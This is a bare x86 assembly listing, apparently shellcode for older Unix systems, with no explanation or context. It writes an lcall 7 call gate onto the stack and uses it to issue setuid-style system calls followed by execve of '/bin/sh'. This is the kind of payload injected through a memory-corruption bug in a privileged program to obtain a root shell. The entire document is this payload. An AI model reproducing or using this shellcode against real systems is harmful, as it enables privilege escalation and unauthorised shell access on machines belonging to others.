.globl main

main:
   movl  %esp,%ebp
   subl  $0x64,%esp

   xorl  %edx,%edx
   movb  $0x9a,-50(%ebp)
   movl  %edx,-49(%ebp)
   movl  %edx,-45(%ebp)
   movb  $0x07,-45(%ebp)
   movb  $0xC3,-43(%ebp)
   movl  %edx,-4(%ebp)
   subl  $50,%ebp

   pushl %edx
   pushl %edx
   pushl %edx

   movb  $0x17,%al
   call  %ebp
   addl  $0x4,%esp

   movb  $0x8d,%al
   call  %ebp
   addl  $0x4,%esp

   movl  $addy,42(%ebp)
   leal  42(%ebp),%eax
   pushl %eax
   movl  42(%ebp),%eax
   pushl %eax
   subl  $0x4,%esp
   xorl  %eax,%eax
   movb  $0x3b,%al
   jmp   %ebp
addy:
   .string "/bin/sh"